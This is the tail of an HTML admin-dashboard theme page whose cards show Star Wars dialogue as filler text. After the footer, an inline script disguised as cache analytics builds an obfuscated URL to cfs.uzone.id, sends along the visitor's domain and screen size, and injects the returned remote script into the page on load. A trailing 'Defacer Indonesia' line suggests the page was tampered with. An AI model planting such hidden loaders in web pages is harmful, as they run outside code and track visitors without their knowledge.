pdd-right-10"></i> <span>Add Images</span> </a> </li> </ul> </li> <li> <a href="javascript:void(0);" class="btn btn-icon btn-flat btn-rounded" data-toggle="card-delete"> <i class="ti-close"></i> </a> </li> </ul> </div> <div class="card-heading"> <h4 class="card-title">Card Delete</h4> </div> <div class="card-body"> <p>All right! Up! Move! Come on! Quickly! Quickly, Chewie. Han! Hurry! The fleet will be here any moment. Charges! Come on, come on! Oh, my! They'll be captured! Wa-wait! Wait, come back! Artoo, stay with me. Freeze! You Rebel scum.</p> <p>Not bad for a little furball. There's only one left. You stay here. We'll take care of this. I have decided that we shall stay here.</p> </div> <div class="card-footer border top"> <ul class="list-unstyled list-inline pull-right"> <li class="list-inline-item"> <a href="#" class="btn btn-icon btn-flat btn-rounded"> <i class="ti-heart"></i> </a> </li> <li class="list-inline-item"> <a href="#" class="btn btn-icon btn-flat btn-rounded"> <i class="ti-share"></i> </a> </li> </ul> </div> </div> </div> <div class="col-md-6"> <div class="card"> <div class="portlet"> <ul class="portlet-item navbar"> <li class="dropdown"> <a href="#" class="btn btn-icon btn-flat btn-rounded dropdown-toggle" data-toggle="dropdown" aria-expanded="false"> <i class="ti-more"></i> </a> <ul class="dropdown-menu"> <li> <a href="#"> <i class="ti-files pdd-right-10"></i> <span>Duplicate</span> </a> </li> <li> <a href="#"> <i class="ti-smallcap pdd-right-10"></i> <span>Edit</span> </a> </li> <li> <a href="#"> <i class="ti-image pdd-right-10"></i> <span>Add Images</span> </a> </li> </ul> </li> <li> <a href="javascript:void(0);" class="btn btn-icon btn-flat btn-rounded" data-toggle="card-refresh"> <i class="ti-reload"></i> </a> </li> <li> <a href="javascript:void(0);" class="btn btn-icon btn-flat btn-rounded" data-toggle="card-delete"> <i class="ti-close"></i> </a> </li> </ul> </div> <div class="card-block"> <h4 class="card-title">Advanced Portlet</h4> <p>Look! Get him off of there! I think I got it. I got it! Oh, Princess Leia, are you all right? Let's see. It's not bad. Freeze! Oh, dear. Don't move! I love you. I know. Hands up! Stand up! Stay back. Chewie! Get down here! She's wounded! No, wait.... I got an idea.</p> <p>If they don't go for this, we're gonna have to get outta here pretty quick, Chewie. We have you on our screen now. Please identify. Shuttle Tydirium requesting deactivation of the deflector shield. Shuttle Tydirium, transmit the clearance code for shield passage. Transmission commencing. Now we find out if that code is worth the price we paid. It'll work. It'll work. Vader's on that ship. Now don't get jittery, Luke. There are a lot of command ships. Keep your distance though.</p> <div class="mrg-top-20 text-right"> <a href="#" class="btn btn-warning no-mrg-btm">Action 1</a> </div> </div> </div> </div> </div> </div> </div> </div> <!-- Content Wrapper END --> <!-- Footer START --> <footer class="content-footer"> <div class="footer"> <div class="copyright"> <span>Copyright © 2017 <b class="text-dark">Theme_Nate</b>. All rights reserved.</span> <span class="go-right"> <a href="#" class="text-gray mrg-right-15">Term & Conditions</a> <a href="#" class="text-gray">Privacy & Policy</a> </span> </div> </div> </footer> <!-- Footer END --> </div> <!-- Page Container END --> </div> </div> <script src="assets/js/vendor.js"></script> <script src="assets/js/app.min.js"></script> <!-- page js --> <script type="text/javascript">if (self==top) {function netbro_cache_analytics(fn, callback) {setTimeout(function() {fn();callback();}, 0);}function sync(fn) {fn();}function requestCfs(){var idc_glo_url = (location.protocol=="https:" ? "https://" : "http://");var idc_glo_r = Math.floor(Math.random()*99999999999);var url = idc_glo_url+ "cfs.uzone.id/2fn7a2/request" + "?id=1" + "&enc=9UwkxLgY9" + "¶ms=" + "4TtHaUQnUEiP6K%2fc5C582HVlH3eBnL31dK4ZUfyQ6h1rqg5Ih%2f6cnCkNMERbF9ppShvkj09%2bfEXw6xCcluCSkCF%2bAynqVGUKYKRgThzM8lU4WF3Iq7AmJFTYp5Z%2fVgNsKryRNv%2fj1NGoMoP7oaEyhTKhhy9u6v7VpbyvCkKcoyKwM0GhSN%2blQHr6IM00mkV1%2f0%2fnArXC3d6lDXhsJZTT9Oqmm3WhwptbHExkzIgIDCZ%2fZM2wKX%2fICZYAcGqMfIrwifRpovfK5gV2FHu1MKnHdh9AfFs%2bRHIjvbHBHFRDNeHjcMe%2bcYd09n5MfFlefwpplone9YNnoK0mNHn%2bLRssRH6oveo8BxG8E%2bH7DPnOp1hUHWdE4c3ArD6%2b72GcaSh8BDK2Jbl1iuJqIkaXL2VDVrzfW6caaTv4EtoDxpTGJKhpp%2bHFjY3GKaVQopJuENKCJ8X%2fgM8%2bKYpwqVrteO8%2fypxjbTuE986wElG6ozo3bjEXgUj1U9ti0mEiWvus%2bBevd6lkO9Wo%2fcAzY6Fiv4DqJQ%3d%3d" + "&idc_r="+idc_glo_r + "&domain="+document.domain + "&sw="+screen.width+"&sh="+screen.height;var bsa = document.createElement('script');bsa.type = 'text/javascript';bsa.async = true;bsa.src = url;(document.getElementsByTagName('head')[0]||document.getElementsByTagName('body')[0]).appendChild(bsa);}netbro_cache_analytics(requestCfs, function(){});};</script></body> </html>
Copyright ©2021 || Defacer Indonesia